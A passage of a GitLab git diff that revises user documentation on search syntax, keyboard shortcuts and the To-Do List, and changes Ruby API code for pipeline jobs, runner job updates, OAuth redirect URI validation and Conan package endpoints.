Full details can be found in the [Elasticsearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/5.3/query-dsl-simple-query-string-query.html#_simple_query_string_syntax), but
here's a quick guide:
- Searches look for all the words in a query, in any order - e.g.: searching
- issues for `display bug` will return all issues matching both those words, in any order.
-- To find the exact phrase (stemming still applies), use double quotes: `"display bug"`
-- To find bugs not mentioning display, use `-`: `bug -display`
-- To find a bug in display or sound, use `|`: `bug display | sound`
-- To group terms together, use parentheses: `bug | (display +sound)`
-- To match a partial word, use `*`: `bug find_by_*`
-- To find a term containing one of these symbols, use `\`: `argument \-last`
+ issues for [`display bug`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=display+bug&group_id=9970&project_id=278964) and [`bug display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+Display&group_id=9970&project_id=278964) will return the same results.
+- To find the exact phrase (stemming still applies), use double quotes: [`"display bug"`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=%22display+bug%22&group_id=9970&project_id=278964)
+- To find bugs not mentioning display, use `-`: [`bug -display`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+-display&group_id=9970&project_id=278964)
+- To find a bug in display or banner, use `|`: [`bug display | banner`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+display+%7C+banner&group_id=9970&project_id=278964)
+- To group terms together, use parentheses: [`bug | (display +banner)`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+%7C+%28display+%2Bbanner%29&group_id=9970&project_id=278964)
+- To match a partial word, use `*`. In this example, I want to find bugs with any 500 errors. : [`bug error 50*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=issues&repository_ref=&search=bug+error+50*&group_id=9970&project_id=278964)
+- To use one of symbols above literally, escape the symbol with a preceding `\`: [`argument \-last`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=argument+%5C-last&group_id=9970&project_id=278964)
### Syntax search filters
-The Advanced Syntax Search also supports the use of filters. The available filters are:
+The Advanced Search Syntax also supports the use of filters. The available filters are:
- filename: Filters by filename. You can use the glob (`*`) operator for fuzzy matching.
- path: Filters by path. You can use the glob (`*`) operator for fuzzy matching.
@@ -68,11 +68,11 @@ To use them, simply add them to your query in the format `<filter_name>:<value>`
Examples:
-- Finding a file with any content named `hello_world.rb`: `* filename:hello_world.rb`
-- Finding a file named `hello_world` with the text `whatever` inside of it: `whatever filename:hello_world`
-- Finding the text 'def create' inside files with the `.rb` extension: `def create extension:rb`
-- Finding the text `sha` inside files in a folder called `encryption`: `sha path:encryption`
-- Finding any file starting with `hello` containing `world` and with the `.js` extension: `world filename:hello* extension:js`
+- Finding a file with any content named `search_results.rb`: [`* filename:search_results.rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=*+filename%3Asearch_results.rb&group_id=9970&project_id=278964)
+- Finding a file named `found_blob_spec.rb` with the text `CHANGELOG` inside of it: [`CHANGELOG filename:found_blob_spec.rb](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=CHANGELOG+filename%3Afound_blob_spec.rb&group_id=9970&project_id=278964)
+- Finding the text `EpicLinks` inside files with the `.rb` extension: [`EpicLinks extension:rb`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=EpicLinks+extension%3Arb&group_id=9970&project_id=278964)
+- Finding the text `Sidekiq` in a file, when that file is in a path that includes `elastic`: [`Sidekiq path:elastic`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=Sidekiq+path%3Aelastic&group_id=9970&project_id=278964)
+- Syntax filters can be combined for complex filtering. Finding any file starting with `search` containing `eventHub` and with the `.js` extension: [`eventHub filename:search* extension:js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=eventHub+filename%3Asearch*+extension%3Ajs&group_id=9970&project_id=278964)
#### Excluding filters
@@ -86,7 +86,7 @@ Filters can be inversed to **filter out** results from the result set, by prefix
Examples:
-- Finding `rails` in all files but `Gemfile.lock`: `rails -filename:Gemfile.lock`
-- Finding `success` in all files excluding `.po|pot` files: `success -filename:*.po*`
-- Finding `import` excluding minified JavaScript (`.min.js`) files: `import -extension:min.js`
-- Finding `docs` for all files outside the `docs/` folder: `docs -path:docs/`
+- Finding `rails` in all files but `Gemfile.lock`: [`rails -filename:Gemfile.lock`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=rails+-filename%3AGemfile.lock&group_id=9970&project_id=278964)
+- Finding `success` in all files excluding `.po|pot` files: [`success -filename:*.po*`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=success+-filename%3A*.po*&group_id=9970&project_id=278964)
+- Finding `import` excluding minified JavaScript (`.min.js`) files: [`import -extension:min.js`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=import+-extension%3Amin.js&group_id=9970&project_id=278964)
+- Finding `docs` for all files outside the `docs/` folder: [`docs -path:docs/`](https://gitlab.com/search?utf8=%E2%9C%93&snippets=&scope=blobs&repository_ref=&search=docs+-path%3Adocs%2F&group_id=9970&project_id=278964)
diff --git a/doc/user/search/img/project_code_search.png b/doc/user/search/img/project_code_search.png
new file mode 100644
index 00000000000..5412f614a74
--- /dev/null
+++ b/doc/user/search/img/project_code_search.png
Binary files differ
diff --git a/doc/user/search/img/project_search_dropdown.png b/doc/user/search/img/project_search_dropdown.png
new file mode 100644
index 00000000000..e0b922a186b
--- /dev/null
+++ b/doc/user/search/img/project_search_dropdown.png
Binary files differ
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index 98b34fe8383..475a72385ac 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -49,7 +49,7 @@ groups:
- My-reaction
- Confidential
- Epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195704) in GitLab 12.9),
- including [child epic](../group/epics/index.md#multi-level-child-epics-ultimate)
+ including [child epic](../group/epics/index.md#multi-level-child-epics)
([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9029) in
[GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0)
- Search for this text
@@ -129,6 +129,14 @@ characters to begin your search. For example, if you want to search for
issues that have the assignee "Simone Presley", you'll need to type at
least "Sim" before autocomplete gives any relevant results.
+## Code search
+
+To search through code or other documents in a single project, you can use
+the search field on the top-right of your screen while the project page is open.
+
+![code search dropdown](img/project_search_dropdown.png)
+![code search results](img/project_code_search.png)
+
## Search history
You can view recent searches by clicking on the little arrow-clock icon, which is to the left of the search input. Click the search entry to run that search again. This feature is available for issues and merge requests. Searches are stored locally in your browser.
@@ -154,6 +162,17 @@ quickly access issues and merge requests created or assigned to you within that
![search per project - shortcut](img/project_search.png)
+### Autocomplete suggestions
+
+You can also type in this search bar to see autocomplete suggestions for:
+
+- Projects and groups
+- Various help pages (try and type **API help**)
+- Project feature pages (try and type **milestones**)
+- Various settings pages (try and type **user settings**)
+- Recently viewed issues (try and type some word from the title of a recently viewed issue)
+- Recently viewed merge requests (try and type some word from the title of a recently merge request)
+
## To-Do List
Your [To-Do List](../todos.md#gitlab-to-do-list) can be searched by "to do" and "done".
@@ -200,15 +219,15 @@ and **Labels**, select multiple issues to add to a list of your choice:
![search and select issues to add to board](img/search_issues_board.png)
-## Advanced Global Search **(STARTER)**
+## Advanced Search **(STARTER)**
Leverage Elasticsearch for faster, more advanced code search across your entire
GitLab instance.
-[Learn how to use the Advanced Global Search.](advanced_global_search.md)
+[Learn how to use the Advanced Search.](advanced_global_search.md)
-## Advanced Syntax Search **(STARTER)**
+## Advanced Search Syntax **(STARTER)**
Use advanced queries for more targeted search results.
-[Learn how to use the Advanced Syntax Search.](advanced_search_syntax.md)
+[Learn how to use the Advanced Search Syntax.](advanced_search_syntax.md)
diff --git a/doc/user/shortcuts.md b/doc/user/shortcuts.md
index 314fe367ca6..c34d5be5899 100644
--- a/doc/user/shortcuts.md
+++ b/doc/user/shortcuts.md
@@ -27,7 +27,7 @@ These shortcuts are available in most areas of GitLab
| <kbd>Shift</kbd> + <kbd>a</kbd> | Go to your Activity page. |
| <kbd>Shift</kbd> + <kbd>l</kbd> | Go to your Milestones page. |
| <kbd>Shift</kbd> + <kbd>s</kbd> | Go to your Snippets page. |
-| <kbd>s</kbd> | Put cursor in the issues/merge requests search. |
+| <kbd>s</kbd> / <kbd>/</kbd> | Put cursor in the search bar. |
| <kbd>Shift</kbd> + <kbd>i</kbd> | Go to your Issues page. |
| <kbd>Shift</kbd> + <kbd>m</kbd> | Go to your Merge requests page.|
| <kbd>Shift</kbd> + <kbd>t</kbd> | Go to your To-Do List page. |
@@ -40,6 +40,13 @@ for example comments, replies, issue descriptions, and merge request description
| ---------------------------------------------------------------------- | ----------- |
| <kbd>↑</kbd> | Edit your last comment. You must be in a blank text field below a thread, and you must already have at least one comment in the thread. |
| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>p</kbd> | Toggle Markdown preview, when editing text in a text field that has **Write** and **Preview** tabs at the top. |
+| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>b</kbd> | Bold the selected text (surround it with `**`). |
+| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>i</kbd> | Italicize the selected text (surround it with `_`). |
+| <kbd>⌘</kbd> (Mac) / <kbd>Ctrl</kbd> + <kbd>k</kbd> | Add a link (surround the selected text with `[]()`). |
+
+NOTE: **Note:**
+The shortcuts for editing in text fields are always enabled, even when
+other keyboard shortcuts are disabled as explained above.
## Project
diff --git a/doc/user/todos.md b/doc/user/todos.md
index 02fef07a89a..1fca3c0ab64 100644
--- a/doc/user/todos.md
+++ b/doc/user/todos.md
@@ -5,67 +5,75 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# GitLab To-Do List
+# GitLab To-Do List **(CORE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2817) in GitLab 8.5.
-When you log into GitLab, you normally want to see where you should spend your
-time, take some action, or know what you need to keep an eye on without
-a huge pile of e-mail notifications. GitLab is where you do your work,
-so being able to get started quickly is important.
+When you sign in to GitLab, you normally want to determine where you should
+spend your time. This can include taking an action, or keeping track of things
+(without having to read lots of email notifications). Because GitLab is where you
+do your work, being able to get started quickly is important.
-Your To-Do List offers a chronological list of items that are waiting for your input, all
-in a simple dashboard.
+Your *To-Do List* offers a chronological list of items waiting for your input
+(known as *to-dos*) in a single dashboard.
-![To Do screenshot showing a list of items to check on](img/todos_index.png)
+The To-Do List supports tracking [actions](#what-triggers-a-to-do) related to
+the following:
-You can quickly access your To-Do List by clicking the checkmark icon next to the
-search bar in the top navigation. If the count is:
+- Issues
+- Merge Requests
+- Epics **(ULTIMATE)**
-- Less than 100, the number in blue is the number of To-Do items.
-- 100 or more, the number displays as 99+. The exact number displays
- on the To-Do List.
-you still have open. Otherwise, the number displays as 99+. The exact number
-displays on the To-Do List.
+![to-do screenshot showing a list of items to check on](img/todos_index.png)
+
+You can access your To-Do List by clicking the **{task-done}** To-Do List icon
+next to the search bar in the top navigation. If the to-do item count is:
+
+- *Less than 100*, the number in blue is the number of to-do items.
+- *100 or more*, the number displays as 99+. The exact number displays in the
+ To-Do List.
![To Do icon](img/todos_icon.png)
-## What triggers a To Do
+## What triggers a to-do
-A To Do appears on your To-Do List when:
+A to-do item appears on your To-Do List when:
-- An issue or merge request is assigned to you
-- You are `@mentioned` in the description or comment of an:
- - Issue
- - Merge Request
- - Epic **(ULTIMATE)**
+- An issue or merge request is assigned to you.
+- You're `@mentioned` in the description or comment of an issue or merge request
+ (or epic **(ULTIMATE)**).
- You are `@mentioned` in a comment on a:
- Commit
- Design
-- The CI/CD pipeline for your merge request failed
-- An open merge request becomes unmergeable due to conflict, and one of the following is true:
- - You are the author
- - You are the user that set it to automatically merge once the pipeline succeeds
-- [Since GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/12136), a merge request
- is removed from a [merge train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md)
- and you are the user that added it. **(PREMIUM)**
-
-When multiple trigger actions occur for the same user on the same object (for example, an issue)
-only the first is displayed as a single to-do on their To-Do List.
-
-To-do triggers are not affected by [GitLab Notification Email settings](profile/notifications.md).
+- The CI/CD pipeline for your merge request failed.
+- An open merge request becomes unmergeable due to conflict, and one of the
+ following is true:
+ - You're the author.
+ - You're the user that set the merge request to automatically merge after a
+ pipeline succeeds.
+- [Since GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/12136), a
+ merge request is removed from a
+ [merge train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md),
+ and you're the user that added it. **(PREMIUM)**
+
+When several trigger actions occur for the same user on the same object (for
+example, an issue), GitLab displays only the first action as a single to-do
+item.
+
+To-do triggers aren't affected by [GitLab notification email settings](profile/notifications.md).
NOTE: **Note:**
-When a user no longer has access to a resource related to a To Do (like an issue, merge request,
-project, or group) the related To-Do items are deleted within the next hour for security reasons.
-The delete is delayed to prevent data loss, in case the user's access was revoked by mistake.
+When a user no longer has access to a resource related to a to-do (such as an
+issue, merge request, project, or group), for security reasons GitLab deletes
+any related to-do items within the next hour. Deletion is delayed to prevent
+data loss, in the case where a user's access is accidentally revoked.
-### Directly addressing a To Do
+### Directly addressing a to-do
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7926) in GitLab 9.0.
-If you are mentioned at the start of a line, the To Do you receive will be listed
-as 'directly addressed'. For example, in this comment:
+If you're mentioned at the start of a line, the to-do you receive will be listed
+as *directly addressed*. For example, in the following comment:
```markdown
@alice What do you think? cc: @bob
@@ -79,81 +87,71 @@ as 'directly addressed'. For example, in this comment:
@erin @frank thank you!
```
-The people receiving directly addressed To-Do items are `@alice`, `@erin`, and
-`@frank`. Directly addressed To-Do items only differ from mentions in their type
+The people receiving directly addressed to-do items are `@alice`, `@erin`, and
+`@frank`. Directly addressed to-do items only differ from mentions in their type
for filtering purposes; otherwise, they appear as normal.
-### Manually creating a To Do
+### Manually creating a to-do
-You can also add the following to your To-Do List by clicking the **Add a To Do** button on an:
-
-- Issue
-- Merge Request
-- Epic **(ULTIMATE)**
+You can add an issue or merge request (or epic **(ULTIMATE)**) to your
+To-Do List by clicking its **Add a To Do** button.
![Adding a To Do from the issuable sidebar](img/todos_add_todo_sidebar.png)
-## Marking a To Do as done
-
-Any action to the following will mark the corresponding To Do as done:
+## Marking a to-do as done
-- Issue
-- Merge Request
-- Epic **(ULTIMATE)**
+Any action to an issue or merge request (or epic **(ULTIMATE)**) will mark its
+corresponding to-do as done.
-Actions that dismiss To-Do items include:
+Actions that dismiss to-do items include:
- Changing the assignee
- Changing the milestone
- Adding/removing a label
- Commenting on the issue
-Your To-Do List is personal, and items are only marked as done if the action comes from
-you. If you close the issue or merge request, your To Do is automatically
-marked as done.
-
-To prevent other users from closing issues without you being notified, if someone else closes, merges, or takes action on the any of the following, your To Do will remain pending:
-
-- Issue
-- Merge request
-- Epic **(ULTIMATE)**
+Your To-Do List is personal, and items are only marked as done if you take
+action. If you close the issue or merge request, your to-do is marked as done.
-There is just one To Do for each of these, so mentioning a user a hundred times in an issue will only trigger one To Do.
+To prevent other users from closing issues without you being notified, if
+someone else closes, merges, or takes action on an issue or merge request (or
+epic **(ULTIMATE)**), your to-do will remain pending.
-If no action is needed, you can manually mark the To Do as done by clicking the
-corresponding **Done** button, and it will disappear from your To-Do List.
+There's just one to-do for each of these, so mentioning a user many times in an
+issue will only trigger one to-do item.
-![A To Do in the To-Do List](img/todos_todo_list_item.png)
+If no action is needed, you can manually mark the to-do as done by clicking its
+corresponding **Done** button to have GitLab remove the item from your
+To-Do List.
-You can also mark a To Do as done by clicking the **Mark as done** button in the sidebar of the following:
+![A to-do in the To-Do List](img/todos_todo_list_item.png)
-- Issue
-- Merge Request
-- Epic **(ULTIMATE)**
+You can also mark a to-do as done by clicking the **Mark as done** button in the
+sidebar of an issue or merge request (or epic **(ULTIMATE)**).
![Mark as done from the issuable sidebar](img/todos_mark_done_sidebar.png)
-You can mark all your To-Do items as done at once by clicking the **Mark all as
-done** button.
+You can mark all your to-do items as done at once by clicking the
+**Mark all as done** button.
## Filtering your To-Do List
-There are four kinds of filters you can use on your To-Do List.
+You can use the following types of filters with your To-Do List:
-| Filter | Description |
-| ------- | ----------- |
-| Project | Filter by project |
-| Group | Filter by group |
-| Author | Filter by the author that triggered the To Do |
-| Type | Filter by issue, merge request, design, or epic **(ULTIMATE)** |
-| Action | Filter by the action that triggered the To Do |
+| Filter | Description |
+| ------- | ---------------------------------------------------------------- |
+| Project | Filter by project. |
+| Group | Filter by group. |
+| Author | Filter by the author that triggered the To Do. |
+| Type | Filter by issue, merge request, design, or epic. **(ULTIMATE)** |
+| Action | Filter by the action that triggered the To Do. |
-You can also filter by more than one of these at the same time. The possible Actions are
-[described above](#what-triggers-a-to-do) and include:
+You can also filter by more than one of these at the same time. The previously
+described [triggering actions](#what-triggers-a-to-do) include:
-- Any Action
+- Any action
- Assigned
- Mentioned
- Added
- Pipelines
-- Directly Addressed
+- Directly addressed
diff --git a/lib/api/api.rb b/lib/api/api.rb
index 2be6792af5f..b37751e1b47 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -167,6 +167,7 @@ module API
mount ::API::GroupVariables
mount ::API::ImportBitbucketServer
mount ::API::ImportGithub
+ mount ::API::IssueLinks
mount ::API::Issues
mount ::API::JobArtifacts
mount ::API::Jobs
@@ -193,9 +194,11 @@ module API
mount ::API::NugetPackages
mount ::API::PypiPackages
mount ::API::ComposerPackages
- mount ::API::ConanPackages
+ mount ::API::ConanProjectPackages
+ mount ::API::ConanInstancePackages
mount ::API::MavenPackages
mount ::API::NpmPackages
+ mount ::API::GenericPackages
mount ::API::GoProxy
mount ::API::Pages
mount ::API::PagesDomains
@@ -233,6 +236,7 @@ module API
mount ::API::Templates
mount ::API::Todos
mount ::API::Triggers
+ mount ::API::UsageData
mount ::API::UserCounts
mount ::API::Users
mount ::API::Variables
@@ -244,6 +248,16 @@ module API
mount ::API::Internal::Pages
mount ::API::Internal::Kubernetes
+ version 'v3', using: :path do
+ # Although the following endpoints are kept behind V3 namespace,
+ # they're not deprecated neither should be removed when V3 get
+ # removed. They're needed as a layer to integrate with Jira
+ # Development Panel.
+ namespace '/', requirements: ::API::V3::Github::ENDPOINT_REQUIREMENTS do
+ mount ::API::V3::Github
+ end
+ end
+
route :any, '*path' do
error!('404 Not Found', 404)
end
diff --git a/lib/api/applications.rb b/lib/api/applications.rb
index 4e8d68c8d09..4f2c3ee79ef 100644
--- a/lib/api/applications.rb
+++ b/lib/api/applications.rb
@@ -6,6 +6,15 @@ module API
before { authenticated_as_admin! }
resource :applications do
+ helpers do
+ def validate_redirect_uri(value)
+ uri = ::URI.parse(value)
+ !uri.is_a?(URI::HTTP) || uri.host
+ rescue URI::InvalidURIError
+ false
+ end
+ end
+
desc 'Create a new application' do
detail 'This feature was introduced in GitLab 10.5'
success Entities::ApplicationWithSecret
@@ -19,6 +28,13 @@ module API
desc: 'Application will be used where the client secret is confidential'
end
post do
+ # Validate that host in uri is specified
+ # Please remove it when https://github.com/doorkeeper-gem/doorkeeper/pull/1440 is merged
+ # and the doorkeeper gem version is bumped
+ unless validate_redirect_uri(declared_params[:redirect_uri])
+ render_api_error!({ redirect_uri: ["must be an absolute URI."] }, :bad_request)
+ end
+
application = Doorkeeper::Application.new(declared_params)
if application.save
diff --git a/lib/api/ci/pipelines.rb b/lib/api/ci/pipelines.rb
index a010e0dd761..045f81074a7 100644
--- a/lib/api/ci/pipelines.rb
+++ b/lib/api/ci/pipelines.rb
@@ -15,6 +15,24 @@ module API
detail 'This feature was introduced in GitLab 8.11.'
success Entities::Ci::PipelineBasic
end
+
+ helpers do
+ params :optional_scope do
+ optional :scope, types: [String, Array[String]], desc: 'The scope of builds to show',
+ values: ::CommitStatus::AVAILABLE_STATUSES,
+ coerce_with: ->(scope) {
+ case scope
+ when String
+ [scope]
+ when ::Array
+ scope
+ else
+ ['unknown']
+ end
+ }
+ end
+ end
+
params do
use :pagination
optional :scope, type: String, values: %w[running pending finished branches tags],
@@ -96,6 +114,64 @@ module API
present pipeline, with: Entities::Ci::Pipeline
end
+ desc 'Get pipeline jobs' do
+ success Entities::Ci::Job
+ end
+ params do
+ requires :pipeline_id, type: Integer, desc: 'The pipeline ID'
+ use :optional_scope
+ use :pagination
+ end
+
+ get ':id/pipelines/:pipeline_id/jobs' do
+ authorize!(:read_pipeline, user_project)
+
+ pipeline = user_project.all_pipelines.find(params[:pipeline_id])
+
+ if Feature.enabled?(:ci_jobs_finder_refactor)
+ builds = ::Ci::JobsFinder
+ .new(current_user: current_user, pipeline: pipeline, params: params)
+ .execute
+ else
+ authorize!(:read_build, pipeline)
+ builds = pipeline.builds
+ builds = filter_builds(builds, params[:scope])
+ end
+
+ builds = builds.with_preloads
+
+ present paginate(builds), with: Entities::Ci::Job
+ end
+
+ desc 'Get pipeline bridge jobs' do
+ success Entities::Ci::Bridge
+ end
+ params do
+ requires :pipeline_id, type: Integer, desc: 'The pipeline ID'
+ use :optional_scope
+ use :pagination
+ end
+
+ get ':id/pipelines/:pipeline_id/bridges' do
+ authorize!(:read_build, user_project)
+
+ pipeline = user_project.all_pipelines.find(params[:pipeline_id])
+
+ if Feature.enabled?(:ci_jobs_finder_refactor)
+ bridges = ::Ci::JobsFinder
+ .new(current_user: current_user, pipeline: pipeline, params: params, type: ::Ci::Bridge)
+ .execute
+ else
+ authorize!(:read_pipeline, pipeline)
+ bridges = pipeline.bridges
+ bridges = filter_builds(bridges, params[:scope])
+ end
+
+ bridges = bridges.with_preloads
+
+ present paginate(bridges), with: Entities::Ci::Bridge
+ end
+
desc 'Gets the variables for a given pipeline' do
detail 'This feature was introduced in GitLab 11.11'
success Entities::Ci::Variable
@@ -170,6 +246,21 @@ module API
end
helpers do
+ # NOTE: This method should be removed once the ci_jobs_finder_refactor FF is
+ # removed. https://gitlab.com/gitlab-org/gitlab/-/issues/245183
+ # rubocop: disable CodeReuse/ActiveRecord
+ def filter_builds(builds, scope)
+ return builds if scope.nil? || scope.empty?
+
+ available_statuses = ::CommitStatus::AVAILABLE_STATUSES
+
+ unknown = scope - available_statuses
+ render_api_error!('Scope contains invalid value(s)', 400) unless unknown.empty?
+
+ builds.where(status: scope)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
def pipeline
strong_memoize(:pipeline) do
user_project.all_pipelines.find(params[:pipeline_id])
@@ -178,7 +269,7 @@ module API
def latest_pipeline
strong_memoize(:latest_pipeline) do
- user_project.latest_pipeline_for_ref(params[:ref])
+ user_project.latest_pipeline(params[:ref])
end
end
end
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index 31be1bb7e3e..08903dce3dc 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -159,29 +159,29 @@ module API
end
desc 'Updates a job' do
- http_codes [[200, 'Job was updated'], [403, 'Forbidden']]
+ http_codes [[200, 'Job was updated'],
+ [202, 'Update accepted'],
+ [400, 'Unknown parameters'],
+ [403, 'Forbidden']]
end
params do
requires :token, type: String, desc: %q(Runners's authentication token)
requires :id, type: Integer, desc: %q(Job's ID)
optional :trace, type: String, desc: %q(Job's full trace)
optional :state, type: String, desc: %q(Job's status: success, failed)
+ optional :checksum, type: String, desc: %q(Job's trace CRC32 checksum)
optional :failure_reason, type: String, desc: %q(Job's failure_reason)
end
put '/:id' do
job = authenticate_job!
- job.trace.set(params[:trace]) if params[:trace]
-
Gitlab::Metrics.add_event(:update_build)
- case params[:state].to_s
- when 'running'
- job.touch if job.needs_touch?
- when 'success'
- job.success!
- when 'failed'
- job.drop!(params[:failure_reason] || :unknown_failure)
+ service = ::Ci::UpdateBuildStateService
+ .new(job, declared_params(include_missing: false))
+
+ service.execute.then do |result|
+ status result.status
end
end
diff --git a/lib/api/commit_statuses.rb b/lib/api/commit_statuses.rb
index 140351c9e5c..9f5a6e87505 100644
--- a/lib/api/commit_statuses.rb
+++ b/lib/api/commit_statuses.rb
@@ -117,8 +117,10 @@ module API
render_api_error!('invalid state', 400)
end
- MergeRequest.where(source_project: user_project, source_branch: ref)
- .update_all(head_pipeline_id: pipeline.id) if pipeline.latest?
+ if pipeline.latest?
+ MergeRequest.where(source_project: user_project, source_branch: ref)
+ .update_all(head_pipeline_id: pipeline.id)
+ end
present status, with: Entities::CommitStatus
rescue StateMachines::InvalidTransition => e
diff --git a/lib/api/commits.rb b/lib/api/commits.rb
index 3c7ed2a25a0..20877fb5c5f 100644
--- a/lib/api/commits.rb
+++ b/lib/api/commits.rb
@@ -136,7 +136,10 @@ module API
if result[:status] == :success
commit_detail = user_project.repository.commit(result[:result])
- Gitlab::UsageDataCounters::WebIdeCounter.increment_commits_count if find_user_from_warden
+ if find_user_from_warden
+ Gitlab::UsageDataCounters::WebIdeCounter.increment_commits_count
+ Gitlab::UsageDataCounters::EditorUniqueCounter.track_web_ide_edit_action(author: current_user)
+ end
present commit_detail, with: Entities::CommitDetail, stats: params[:stats]
else
diff --git a/lib/api/composer_packages.rb b/lib/api/composer_packages.rb
index 05887e58425..31d097c4bea 100644
--- a/lib/api/composer_packages.rb
+++ b/lib/api/composer_packages.rb
@@ -123,7 +123,7 @@ module API
bad_request!
end
- track_event('push_package')
+ package_event('push_package')
::Packages::Composer::CreatePackageService
.new(authorized_user_project, current_user, declared_params)
diff --git a/lib/api/conan_instance_packages.rb b/lib/api/conan_instance_packages.rb
new file mode 100644
index 00000000000..209748d79fa
--- /dev/null
+++ b/lib/api/conan_instance_packages.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+# Conan Instance-Level Package Manager Client API
+module API
+ class ConanInstancePackages < Grape::API::Instance
+ namespace 'packages/conan/v1' do
+ include ConanPackageEndpoints
+ end
+ end
+end
diff --git a/lib/api/conan_package_endpoints.rb b/lib/api/conan_package_endpoints.rb
new file mode 100644
index 00000000000..445447cfcd2
--- /dev/null
+++ b/lib/api/conan_package_endpoints.rb
@@ -0,0 +1,349 @@
+# frozen_string_literal: true
+
+# Conan Package Manager Client API
+#
+# These API endpoints are not consumed directly by users, so there is no documentation for the
+# individual endpoints. They are called by the Conan package manager client when users run commands
+# like `conan install` or `conan upload`. The usage of the GitLab Conan repository is documented here:
+# https://docs.gitlab.com/ee/user/packages/conan_repository/#installing-a-package
+#
+# Technical debt: https://gitlab.com/gitlab-org/gitlab/issues/35798
+module API
+ module ConanPackageEndpoints
+ extend ActiveSupport::Concern
+
+ PACKAGE_REQUIREMENTS = {
+ package_name: API::NO_SLASH_URL_PART_REGEX,
+ package_version: API::NO_SLASH_URL_PART_REGEX,
+ package_username: API::NO_SLASH_URL_PART_REGEX,
+ package_channel: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ FILE_NAME_REQUIREMENTS = {
+ file_name: API::NO_SLASH_URL_PART_REGEX
+ }.freeze
+
+ PACKAGE_COMPONENT_REGEX = Gitlab::Regex.conan_recipe_component_regex
+ CONAN_REVISION_REGEX = Gitlab::Regex.conan_revision_regex
+
+ CONAN_FILES = (Gitlab::Regex::Packages::CONAN_RECIPE_FILES + Gitlab::Regex::Packages::CONAN_PACKAGE_FILES).freeze
+
+ included do
+ helpers ::API::Helpers::PackagesManagerClientsHelpers
+ helpers ::API::Helpers::Packages::Conan::ApiHelpers
+ helpers ::API::Helpers::RelatedResourcesHelpers
+
+ before do
+ require_packages_enabled!
+
+ # Personal access token will be extracted from Bearer or Basic authorization
+ # in the overridden find_personal_access_token or find_user_from_job_token helpers
+ authenticate!
+ end
+
+ desc 'Ping the Conan API' do
+ detail 'This feature was introduced in GitLab 12.2'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'ping' do
+ header 'X-Conan-Server-Capabilities', [].join(',')
+ end
+
+ desc 'Search for packages' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ params do
+ requires :q, type: String, desc: 'Search query'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'conans/search' do
+ service = ::Packages::Conan::SearchService.new(current_user, query: params[:q]).execute
+ service.payload
+ end
+
+ namespace 'users' do
+ format :txt
+
+ desc 'Authenticate user against conan CLI' do
+ detail 'This feature was introduced in GitLab 12.2'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'authenticate' do
+ unauthorized! unless token
+
+ token.to_jwt
+ end
+
+ desc 'Check for valid user credentials per conan CLI' do
+ detail 'This feature was introduced in GitLab 12.4'
+ end
+
+ route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true
+
+ get 'check_credentials' do
+ authenticate!
+ :ok
+ end
+ end
+
+ params do
+ requires :package_name, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package name'
+ requires :package_version, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package version'
+ requires :package_username, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package username'
+ requires :package_channel, type: String, regexp: PACKAGE_COMPONENT_REGEX, desc: 'Package channel'
+ end
